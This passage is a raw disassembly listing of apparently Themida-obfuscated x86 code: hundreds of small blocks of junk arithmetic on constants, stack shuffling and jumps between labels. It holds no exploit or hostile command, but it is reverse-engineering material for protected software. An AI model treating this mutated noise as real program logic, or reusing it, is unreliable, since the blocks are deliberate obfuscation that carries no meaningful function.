		jmp	loc_59C167
; ---------------------------------------------------------------------------


loc_59FB39:				; CODE XREF: Themida_:00592F6Cj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A47F3
; ---------------------------------------------------------------------------


loc_59FB46:				; CODE XREF: Themida_:0059AEC8j
		mov	[esp], esi
		push	edi
		jmp	loc_5A4059
; ---------------------------------------------------------------------------


loc_59FB4F:				; CODE XREF: Themida_:0059BF5Dj
		mov	ebp, 3DB96BBBh
		xor	ebp, 515D4BFFh
		jmp	loc_59C452
; ---------------------------------------------------------------------------


loc_59FB5F:				; CODE XREF: Themida_:0059B75Ej
		pop	esi
		jmp	loc_5935B1
; ---------------------------------------------------------------------------


loc_59FB65:				; CODE XREF: Themida_:005940CAj
		xor	eax, 24382449h
		shl	eax, 6
		add	eax, 77BDC993h
		mov	edi, eax
		mov	eax, [esp]
		jmp	loc_5958B6
; ---------------------------------------------------------------------------


loc_59FB7C:				; CODE XREF: Themida_:0059895Dj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59FB95:				; CODE XREF: Themida_:0059BA4Aj
		mov	[esp], edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_5A274C
; ---------------------------------------------------------------------------


loc_59FBBF:				; CODE XREF: Themida_:005A53EAj
		mov	[esp], ebp
		push	7D55h
		mov	[esp], ecx
		jmp	loc_592E06
; ---------------------------------------------------------------------------


loc_59FBCF:				; CODE XREF: Themida_:005A4628j
		xor	ebx, 1AB5205Fh
		shl	ebx, 1
		push	eax
		mov	eax, 39A24886h
		jmp	loc_593C1B
; ---------------------------------------------------------------------------


loc_59FBE2:				; CODE XREF: Themida_:0059D71Bj
		mov	[esp], esi
		mov	esi, 47F73B6Bh
		add	eax, 752C2C16h
		sub	eax, esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 752C2C16h
		jmp	loc_592A8F
; ---------------------------------------------------------------------------


loc_59FC04:				; CODE XREF: Themida_:005A4843j
		mov	esi, esp
		add	esi, 4
		jmp	loc_59FB2D
; ---------------------------------------------------------------------------


loc_59FC11:				; CODE XREF: Themida_:005A3BEFj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5918C4
; ---------------------------------------------------------------------------


loc_59FC20:				; CODE XREF: Themida_:00594EEFj
		xor	eax, [esp]
		jmp	loc_59151A
; ---------------------------------------------------------------------------


loc_59FC28:				; CODE XREF: Themida_:005999E8j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0A5D9816Fh
		jmp	loc_59D8CD
; ---------------------------------------------------------------------------


loc_59FC38:				; CODE XREF: Themida_:0059A20Aj
		pop	edi
		push	ecx
		jmp	loc_59966E
; ---------------------------------------------------------------------------


loc_59FC3F:				; CODE XREF: Themida_:005924AEj
		push	32E4h
		mov	[esp], eax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59FC4C:				; CODE XREF: Themida_:00593840j
		add	esp, 4
		add	esp, 4
		add	esp, 4
		jmp	loc_599D08
; ---------------------------------------------------------------------------


loc_59FC5A:				; CODE XREF: Themida_:005A0E15j
		mov	[esp], edi
		jmp	loc_59F19C
; ---------------------------------------------------------------------------


loc_59FC62:				; CODE XREF: Themida_:00599C69j
		mov	ch, bh
		push	bx
		mov	bl, ch
		jmp	loc_5979C9
; ---------------------------------------------------------------------------


loc_59FC6D:				; CODE XREF: Themida_:00598EFAj
		pop	edi
		or	eax, eax
		jz	loc_594CA0
		push	dword ptr [edi+1Ch]
		push	26BBh
		mov	[esp], eax
		mov	eax, 13F472E2h
		sub	dword ptr [esp+4], 2BA80B4Ah
		sub	[esp+4], eax
		add	dword ptr [esp+4], 2BA80B4Ah
		pop	eax
		pop	ecx
		push	7ACCh
		mov	[esp], ebx
		mov	ebx, 55D32BDBh
		push	edi
		mov	edi, 34AD1A99h
		sub	edi, 1
		push	esi
		push	eax
		mov	eax, 70E949D0h
		sub	eax, 5A841FFEh
		shr	eax, 2
		sub	eax, 0BE39D0EDh
		jmp	loc_59ECD8
; ---------------------------------------------------------------------------


loc_59FCCE:				; CODE XREF: Themida_:005993ABj
		mov	edx, 729F7AFEh
		add	ebx, 33A61B86h
		add	ebx, edx
		jmp	loc_592CD1
; ---------------------------------------------------------------------------


loc_59FCE0:				; CODE XREF: Themida_:00592346j
		push	eax
		mov	eax, 7A5D1EA3h
		not	eax
		jmp	loc_59AEAA
; ---------------------------------------------------------------------------


loc_59FCED:				; CODE XREF: Themida_:0059067Cj
		xchg	esi, [esp]
		pop	esp
		mov	bl, cl
		pop	ecx
		jmp	loc_5949F7
; ---------------------------------------------------------------------------


loc_59FCF9:				; CODE XREF: Themida_:005A2933j
		push	edx
		mov	edx, 53B575D5h
		dec	edx
		sub	edx, 4DCA4874h
		jmp	loc_594CD9
; ---------------------------------------------------------------------------


loc_59FD0B:				; CODE XREF: Themida_:0059D3C2j
		pop	edx
		mov	ecx, 28935B0Dh
		sub	ecx, ebx
		jmp	loc_5A0A20
; ---------------------------------------------------------------------------


loc_59FD18:				; CODE XREF: Themida_:005A4C7Cj
		sub	ebp, 4CB13A37h
		jmp	loc_5A5089
; ---------------------------------------------------------------------------


loc_59FD23:				; CODE XREF: Themida_:00599B9Dj
		pop	esi
		push	esi
		push	edi
		mov	edi, 5FB114F2h
		mov	esi, 5FB114F6h
		xor	esi, edi
		jmp	loc_5A12FB
; ---------------------------------------------------------------------------


loc_59FD37:				; CODE XREF: Themida_:005A1B33j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		sub	[esp], al
		pushf
		jmp	loc_594F25
; ---------------------------------------------------------------------------


loc_59FD5E:				; CODE XREF: Themida_:00593215j
		add	eax, 0CB7EFA04h
		sub	ebx, 4E43FEAh
		add	ebx, eax
		add	ebx, 4E43FEAh
		pop	eax
		sub	ebx, ebp
		sub	ebx, 1138361Eh
		mov	ebp, [esp]
		jmp	loc_5A158D
; ---------------------------------------------------------------------------


loc_59FD82:				; CODE XREF: Themida_:005A2786j
		mov	eax, 0ABE0C10h
		jmp	loc_59278F
; ---------------------------------------------------------------------------


loc_59FD8C:				; CODE XREF: Themida_:005981D1j
		mov	eax, [esp]
		jmp	loc_5A1F47
; ---------------------------------------------------------------------------


loc_59FD94:				; CODE XREF: Themida_:005A5644j
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_591FEB
; ---------------------------------------------------------------------------


loc_59FD9E:				; CODE XREF: Themida_:005A32FCj
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esi
		jmp	loc_599776
; ---------------------------------------------------------------------------


loc_59FDB2:				; CODE XREF: Themida_:005A23E7j
		mov	esp, [esp]
		push	ebx
		jmp	loc_59B1EE
; ---------------------------------------------------------------------------


loc_59FDBB:				; CODE XREF: Themida_:0059E3A1j
		pop	esp
		push	434Ch
		jmp	loc_597154
; ---------------------------------------------------------------------------


loc_59FDC6:				; CODE XREF: Themida_:005A16B3j
		sub	ebp, 0FAF43D3h
		xor	ebp, 4FB926D0h
		jmp	loc_591610
; ---------------------------------------------------------------------------


loc_59FDD7:				; CODE XREF: Themida_:005A0317j
		shl	ebp, 7
		shl	ebp, 3
		sub	ebp, 3EF42839h
		sub	esi, ebp
		pop	ebp
		push	eax
		jmp	loc_5A45D2
; ---------------------------------------------------------------------------


loc_59FDEC:				; CODE XREF: Themida_:00592139j
		push	esp
		mov	eax, [esp]
		push	ebx
		jmp	loc_598D4E
; ---------------------------------------------------------------------------


loc_59FDF6:				; CODE XREF: Themida_:0059894Ej
		push	ebx
		jmp	loc_59E0E4
; ---------------------------------------------------------------------------


loc_59FDFC:				; CODE XREF: Themida_:0059474Aj
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	edx, 5F870934h
		mov	eax, edx
		jmp	loc_593059
; ---------------------------------------------------------------------------


loc_59FE1D:				; CODE XREF: Themida_:0059E7D5j
		pop	ebx
		jmp	loc_59A934
; ---------------------------------------------------------------------------


loc_59FE23:				; CODE XREF: Themida_:0059A6BCj
		mov	dl, 97h
		and	bh, dl
		pop	edx
		not	bh
		sub	bh, 0FFh
		shr	bh, 2
		jmp	loc_59E997
; ---------------------------------------------------------------------------


loc_59FE35:				; CODE XREF: Themida_:005A1BA7j
		xor	[esp], di
		xor	di, [esp]
		xor	[esp], di
		jmp	loc_59367F
; ---------------------------------------------------------------------------


loc_59FE46:				; CODE XREF: Themida_:005A36C7j
		add	ecx, 612947B4h
		add	ecx, ebx
		sub	ecx, 612947B4h
		pop	ebx
		push	eax
		jmp	loc_59ED5F
; ---------------------------------------------------------------------------


loc_59FE5B:				; CODE XREF: Themida_:00590C41j
		push	6F4Dh
		mov	[esp], ebx
		push	ebp
		push	eax
		mov	eax, 4000h
		mov	ebp, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5A0765
; ---------------------------------------------------------------------------


loc_59FE75:				; CODE XREF: Themida_:00594A01j
		pop	ebp
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5A1642
; ---------------------------------------------------------------------------


loc_59FE87:				; CODE XREF: Themida_:00595EA7j
		pop	eax
		dec	edi
		sub	edi, 2F696C42h
		or	edi, 3060273Fh
		inc	edi
		add	edi, 3E7B0FB4h
		jmp	loc_597F24
; ---------------------------------------------------------------------------


loc_59FEA1:				; CODE XREF: Themida_:005A4F4Fj
		add	ebx, 4
		push	edx
		push	61166A5Eh
		pop	edx
		neg	edx
		sub	edx, 36711617h
		shr	edx, 2
		shl	edx, 5
		xor	edx, 4B4B13C2h
		add	edx, 0F7771082h
		add	ebx, edx
		jmp	loc_5A3B9B
; ---------------------------------------------------------------------------


loc_59FECF:				; CODE XREF: Themida_:0059499Ej
		pop	ebx
		jmp	loc_5975DF
; ---------------------------------------------------------------------------


loc_59FED5:				; CODE XREF: Themida_:0059F1BCj
		add	ebx, 7C6E2FA5h
		pop	edx
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_5A45B8
; ---------------------------------------------------------------------------


loc_59FEE5:				; CODE XREF: Themida_:005946BFj
		mov	edi, 4
		jmp	loc_5A07DE
; ---------------------------------------------------------------------------


loc_59FEEF:				; CODE XREF: Themida_:005915CBj
		pop	edx
		sub	edi, 75940FFh
		add	edi, ecx
		add	edi, 75940FFh
		push	esi
		push	edx
		push	7F7D03C5h
		pop	edx
		or	edx, 61414DDCh
		push	eax
		mov	eax, 1788D7D6h
		sub	edx, eax
		jmp	loc_5A1FD7
; ---------------------------------------------------------------------------


loc_59FF19:				; CODE XREF: Themida_:00597442j
		sub	ebx, 64BD3B00h
		add	ebx, 69B33CB2h
		add	edx, ebx
		jmp	loc_5942CC
; ---------------------------------------------------------------------------


loc_59FF2C:				; CODE XREF: Themida_:0059AFEAj
		mov	esi, 4
		sub	edx, 4B872A83h
		add	edx, 73246ABCh
		jmp	loc_59A035
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59FF51:				; CODE XREF: Themida_:005939C8j
		push	ebp
		mov	ebp, 8AB52ECh
		and	ebp, 6D9F1D76h
		push	esi
		mov	esi, 6067379Fh
		push	79ECh
		mov	[esp], edi
		mov	edi, 427224E1h
		push	ecx
		mov	ecx, 2CE73383h
		add	edi, ecx
		pop	ecx
		jmp	loc_591603
; ---------------------------------------------------------------------------


loc_59FF7E:				; CODE XREF: Themida_:005A2626j
		mov	eax, 4
		jmp	loc_594315
; ---------------------------------------------------------------------------


loc_59FF88:				; CODE XREF: Themida_:00596D54j
		pop	edx
		jmp	loc_597630
; ---------------------------------------------------------------------------


loc_59FF8E:				; CODE XREF: Themida_:005A21E8j
		mov	edi, 3A5F2ADFh
		mov	ecx, 9A445548h
		sub	ecx, edi
		pop	edi
		add	eax, 4CA60FB5h
		sub	eax, ecx
		push	edi
		jmp	loc_5A18E6
; ---------------------------------------------------------------------------


loc_59FFA8:				; CODE XREF: Themida_:005A4AC4j
		mov	dl, 0A5h
		jmp	loc_592EAA
; ---------------------------------------------------------------------------


loc_59FFAF:				; CODE XREF: Themida_:005A3E5Dj
		add	ebp, 172136ACh
		add	ebp, 0FBDD7A5Ch
		jmp	loc_5A27CD
; ---------------------------------------------------------------------------


loc_59FFC0:				; CODE XREF: Themida_:005915FEj
		sub	edi, 2B340D6h
		push	edx
		mov	edx, 63D064B9h
		sub	edi, edx
		jmp	loc_590D6A
; ---------------------------------------------------------------------------


loc_59FFD3:				; CODE XREF: Themida_:0059B35Ej
		xchg	al, bh
		jmp	loc_59F8FD
; ---------------------------------------------------------------------------


loc_59FFDA:				; CODE XREF: Themida_:0059DB7Aj
		xor	bh, 0F1h
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	bx, [esp]
		push	40A2h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	521Ch
		jmp	loc_5A1A85
; ---------------------------------------------------------------------------


loc_5A000F:				; CODE XREF: Themida_:00597C47j
		mov	edx, 319F71A4h
		inc	edx
		shl	edx, 4
		or	edx, 5A81065h
		and	edx, 2A0136ECh
		jmp	loc_592469
; ---------------------------------------------------------------------------


loc_5A0029:				; CODE XREF: Themida_:0059E988j
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		mov	ebx, edx
		jmp	loc_5A2C20
; ---------------------------------------------------------------------------


loc_5A0039:				; CODE XREF: Themida_:00590C08j
		push	edx
		push	7FD746BAh
		pop	edx
		mov	ecx, edx
		pop	edx
		add	edi, 3CAC4FFBh
		jmp	loc_59F824
; ---------------------------------------------------------------------------


loc_5A004E:				; CODE XREF: Themida_:00596279j
		shr	eax, 2
		shl	eax, 7
		jmp	loc_59A472
; ---------------------------------------------------------------------------


loc_5A0059:				; CODE XREF: Themida_:00599CC4j
		xchg	edx, ebp
		shl	ebp, 4
		push	42CFh
		mov	[esp], edx
		mov	edx, 24B70085h
		add	ebp, edx
		pop	edx
		jmp	loc_596524
; ---------------------------------------------------------------------------


loc_5A0073:				; CODE XREF: Themida_:0059D9B3j
		xchg	dl, cl
		sub	cl, 9Fh
		xor	bl, cl
		pop	ecx
		xor	al, bl
		jmp	loc_594CB9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2186h
		mov	[esp], ebp
		push	1527h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5A52D8
; ---------------------------------------------------------------------------


loc_5A00A3:				; CODE XREF: Themida_:005A286Aj
		push	ebp
		pop	edx
		pop	ebp
		push	ecx
		mov	ecx, edx
		jmp	loc_591D44
; ---------------------------------------------------------------------------


loc_5A00AE:				; CODE XREF: Themida_:00594919j
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_5979AA
; ---------------------------------------------------------------------------


loc_5A00B8:				; CODE XREF: Themida_:0059C074j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59800B
; ---------------------------------------------------------------------------


loc_5A00C6:				; CODE XREF: Themida_:0059B29Aj
		push	ebp
		mov	ebp, 20E6086Fh
		jmp	loc_59DF42
; ---------------------------------------------------------------------------


loc_5A00D1:				; CODE XREF: Themida_:005954F6j
		mov	edi, 3B515A98h
		add	edx, edi
		jmp	loc_593741
; ---------------------------------------------------------------------------


loc_5A00DD:				; CODE XREF: Themida_:00593028j
		mov	edi, 6ECC05EAh
		push	eax
		mov	eax, 57A54ECFh
		sub	[esp+8], eax
		pop	eax
		sub	[esp+4], edi
		add	dword ptr [esp+4], 57A54ECFh
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	edi
		push	ebx
		jmp	loc_5A3C3B
; ---------------------------------------------------------------------------


loc_5A0117:				; CODE XREF: Themida_:005A104Dj
		xor	esi, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_59D170
; ---------------------------------------------------------------------------


loc_5A0127:				; CODE XREF: Themida_:0059A0B0j
		and	ecx, 3F9B4366h
		or	ecx, 95B12C7h
		add	ecx, 21D0037Fh
		push	ecx
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 21936402h
		sub	eax, ecx
		pop	ecx
		add	eax, 0FF483988h
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59F6FF
; ---------------------------------------------------------------------------


loc_5A0160:				; CODE XREF: Themida_:00596944j
		pop	dword ptr [esp]
		jmp	loc_5997B9
; ---------------------------------------------------------------------------


loc_5A0168:				; CODE XREF: Themida_:0059598Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	2866h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A0C6E
; ---------------------------------------------------------------------------


loc_5A0189:				; CODE XREF: Themida_:00598295j
		xor	eax, edx
		pop	edx
		sub	eax, 1
		add	eax, 0FFFFFFFFh
		shl	eax, 3
		jmp	loc_5A3FBE
; ---------------------------------------------------------------------------


loc_5A019A:				; CODE XREF: Themida_:005928F4j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_592EBC
; ---------------------------------------------------------------------------


loc_5A01AB:				; CODE XREF: Themida_:0059D8E3j
		sub	ecx, 4C7D1B4Ah
		sub	ecx, 0B84DC988h
		add	eax, ecx
		pop	ecx
		sub	eax, 76132D26h
		pop	ebp
		push	26BEh
		mov	[esp], ebp
		mov	ebp, 15070424h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 25325694h
		dec	edx
		not	edx
		xor	edx, 0AD5085FFh
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, 62206660h
		push	edx
		mov	edx, 60067101h
		neg	edx
		add	edx, 74688E9Ah
		and	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 6AD30FBh
		or	ecx, 6B6F6091h
		and	ecx, 8DC1B02h
		xor	ecx, 631392Bh
		jmp	loc_5A3D83
; ---------------------------------------------------------------------------


loc_5A021D:				; CODE XREF: Themida_:005A4F41j
		push	esi
		mov	esi, 0B590D62Bh
		mov	edx, esi
		jmp	loc_59610D
; ---------------------------------------------------------------------------


loc_5A022A:				; CODE XREF: Themida_:00599967j
		mov	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	5EC6h
		mov	[esp], ecx
		mov	ecx, 7E300A59h
		add	[esp+4], ecx
		pop	ecx
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	8BC18A6h
		pop	edx
		sub	edx, 10CA04FCh
		jmp	loc_593660
; ---------------------------------------------------------------------------


loc_5A0265:				; CODE XREF: Themida_:005A209Aj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A026A:				; CODE XREF: Themida_:00592246j
		not	ecx
		sub	ecx, 0BA86A01h
		sub	ecx, 8CC41280h
		add	edi, ecx
		pop	ecx
		push	eax
		push	4
		pop	eax
		jmp	loc_5A2FE4
; ---------------------------------------------------------------------------


loc_5A0287:				; CODE XREF: Themida_:0059303Fj
		push	esi
		push	edx
		jmp	loc_5A2DD1
; ---------------------------------------------------------------------------


loc_5A028E:				; CODE XREF: Themida_:005A414Ej
		add	dword ptr [esp], 4
		pop	ecx
		push	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 1BA96DC5h
		jmp	loc_5915D0
; ---------------------------------------------------------------------------


loc_5A02BA:				; CODE XREF: Themida_:0059D117j
		add	edi, 394F4625h
		jmp	loc_59E0D6
; ---------------------------------------------------------------------------


loc_5A02C5:				; CODE XREF: Themida_:0059A1EFj
		shl	eax, 6
		shr	eax, 2
		neg	eax
		add	eax, 0B0B51EE0h
		or	edx, eax
		pop	eax
		jmp	loc_5962AA
; ---------------------------------------------------------------------------


loc_5A02DA:				; CODE XREF: Themida_:00596ED6j
		shl	ebp, 1
		add	ebp, 1
		or	ebp, 60653BA2h
		push	60B1h
		mov	[esp], eax
		mov	eax, 7BDD8B99h
		sub	ebp, eax
		pop	eax
		sub	eax, ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_59A5D1
; ---------------------------------------------------------------------------


loc_5A0303:				; CODE XREF: Themida_:00592D4Cj
		neg	ebp
		or	ebp, 79DC3BB0h
		sub	ebp, 0BFA513Ah
		add	ebp, 0AE37FC01h
		jmp	loc_59FDD7
; ---------------------------------------------------------------------------


loc_5A031C:				; CODE XREF: Themida_:0059ED0Fj
		sub	eax, 0B019E950h
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		jmp	loc_59A961
; ---------------------------------------------------------------------------


loc_5A032C:				; CODE XREF: Themida_:005A2741j
		sub	ecx, 7D9755BBh
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_598A3C
; ---------------------------------------------------------------------------


loc_5A0349:				; CODE XREF: Themida_:005A3C98j
		pop	edi
		jmp	loc_59362E
; ---------------------------------------------------------------------------


loc_5A034F:				; CODE XREF: Themida_:0059C1ECj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		push	6D565BEEh
		pop	ecx
		push	edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_59578F
; ---------------------------------------------------------------------------


loc_5A036A:				; CODE XREF: Themida_:005A4175j
		add	edi, 18C063h
		add	ebp, edi
		jmp	loc_593440
; ---------------------------------------------------------------------------


loc_5A0377:				; CODE XREF: Themida_:0059E30Bj
		shl	ebx, 5
		push	esi
		mov	esi, 4E5D797Ah
		xor	esi, 0C3C152Ch
		dec	esi
		xor	esi, 315F4DFFh
		xor	ebx, esi
		pop	esi
		xor	edx, ebx
		pop	ebx
		or	edx, 5B713A37h
		sub	edx, 5FFD7A73h
		jmp	loc_59F75F
; ---------------------------------------------------------------------------


loc_5A03A4:				; CODE XREF: Themida_:0059D0B4j
		add	ecx, 5CA54346h
		sub	ecx, esi
		sub	ecx, 5CA54346h
		jmp	loc_59CEF6
; ---------------------------------------------------------------------------
		db 66h
		dd 48BB353h, 0D469E93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A03C2:				; CODE XREF: Themida_:005A4F5Cj
		mov	ebx, 0
		add	ebx, 2CD950DAh
		jmp	loc_5A49E6
; ---------------------------------------------------------------------------


loc_5A03D2:				; CODE XREF: Themida_:005A1B9Dj
		pop	ebx
		shr	edi, 1
		jmp	loc_5993F1
; ---------------------------------------------------------------------------


loc_5A03DA:				; CODE XREF: Themida_:0059BD21j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5A1BCB
; ---------------------------------------------------------------------------


loc_5A03E3:				; CODE XREF: Themida_:005A2016j
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_59D36E
; ---------------------------------------------------------------------------


loc_5A0408:				; CODE XREF: Themida_:005A05DAj
		push	57BBh
		jmp	loc_5A2E09
; ---------------------------------------------------------------------------


loc_5A0412:				; CODE XREF: Themida_:005A41C0j
		add	edx, 4
		jmp	loc_5A37F5
; ---------------------------------------------------------------------------


loc_5A041D:				; CODE XREF: Themida_:0059AC2Dj
		pop	edx
		add	edx, 1B0A7F2Ah
		xor	edx, 694E5CC0h
		add	edx, 0B654430h
		mov	ebx, edx
		pop	edx
		mov	edi, 7FE76595h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	edx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 788F2A5Eh
		or	ebx, 67E5193Fh
		dec	ebx
		add	ebx, 8010C486h
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_596A5C
; ---------------------------------------------------------------------------


loc_5A046D:				; CODE XREF: Themida_:005962F6j
		add	ecx, 36762639h
		add	ecx, eax
		push	esi
		push	eax
		push	631A0ED7h
		pop	eax
		add	eax, 39A315EFh
		neg	eax
		jmp	loc_5A47E6
; ---------------------------------------------------------------------------


loc_5A0489:				; CODE XREF: Themida_:005971A6j
		xor	[esp], edx
		jmp	loc_5A1248
; ---------------------------------------------------------------------------


loc_5A0491:				; CODE XREF: Themida_:00596E86j
		mov	[esp], esi
		jmp	loc_5A4E64
; ---------------------------------------------------------------------------


loc_5A0499:				; CODE XREF: Themida_:00599F0Fj
		sub	cl, dh
		pop	dx
		add	cl, 0FFh
		jmp	loc_598C26
; ---------------------------------------------------------------------------


loc_5A04A5:				; CODE XREF: Themida_:0059B850j
		push	87Dh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	6DE0h
		mov	[esp], ebp
		push	40C15896h
		pop	ebp
		push	esi
		jmp	loc_59703D
; ---------------------------------------------------------------------------


loc_5A04D2:				; CODE XREF: Themida_:005923F9j
		movzx	ecx, ax
		push	1C66h
		mov	[esp], ebp
		mov	ebp, esp
		push	536Eh
		mov	[esp], edx
		push	eax
		push	19E13D37h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		neg	eax
		jmp	loc_597D9F
; ---------------------------------------------------------------------------


loc_5A04FE:				; CODE XREF: Themida_:005938F4j
		push	4AEAh
		jmp	loc_594A16
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_599951
; ---------------------------------------------------------------------------


loc_5A0520:				; CODE XREF: Themida_:0059D3B5j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_595AAA
; ---------------------------------------------------------------------------


loc_5A0531:				; CODE XREF: Themida_:005A0D08j
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_592BE1
		push	esi
		mov	esi, 1
		mov	edx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_59F3AA
; ---------------------------------------------------------------------------


loc_5A056D:				; CODE XREF: Themida_:0059C1FEj
		add	ecx, 31FA48E8h
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_598696
; ---------------------------------------------------------------------------


loc_5A0588:				; CODE XREF: Themida_:00591702j
		sub	ebp, edx
		pop	edx
		inc	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	1F3D3BF3h
		pop	ebx
		dec	ebx
		add	ebx, 0FFFFFFFFh
		xor	ebx, 35537691h
		jmp	loc_595D14
; ---------------------------------------------------------------------------


loc_5A05AA:				; CODE XREF: Themida_:005A306Dj
		neg	eax
		xor	eax, 410EDB2Ch
		jmp	loc_5A0C25
; ---------------------------------------------------------------------------


loc_5A05B6:				; CODE XREF: Themida_:00594CF4j
		and	edx, esi
		pop	esi
		push	0
		jmp	loc_59105D
; ---------------------------------------------------------------------------


loc_5A05C3:				; CODE XREF: Themida_:005A41B5j
		push	ebx
		mov	ebx, 39B8196Dh
		jmp	loc_59A47C
; ---------------------------------------------------------------------------


loc_5A05CE:				; CODE XREF: Themida_:0059BF80j
		push	edi
		jmp	loc_595429
; ---------------------------------------------------------------------------


loc_5A05D4:				; CODE XREF: Themida_:00599F82j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A0408
; ---------------------------------------------------------------------------


loc_5A05DF:				; CODE XREF: Themida_:0059DF31j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59FA9C
; ---------------------------------------------------------------------------


loc_5A05FD:				; CODE XREF: Themida_:00594B0Dj
		shl	ecx, 8
		sub	ecx, 4C0AFEF9h
		xor	edi, ecx
		pop	ecx
		mov	esi, edi
		pop	edi
		sub	ebx, esi
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A0624:				; CODE XREF: Themida_:0059321Bj
		mov	edi, esp
		add	edi, 4
		jmp	loc_59A3E8
; ---------------------------------------------------------------------------


loc_5A0631:				; CODE XREF: Themida_:00594705j
		shl	eax, 5
		push	edi
		mov	edi, 0A9D2B4Fh
		not	edi
		dec	edi
		add	edi, 71FB768Dh
		shl	edi, 3
		sub	edi, 81D3CA86h
		sub	eax, edi
		pop	edi
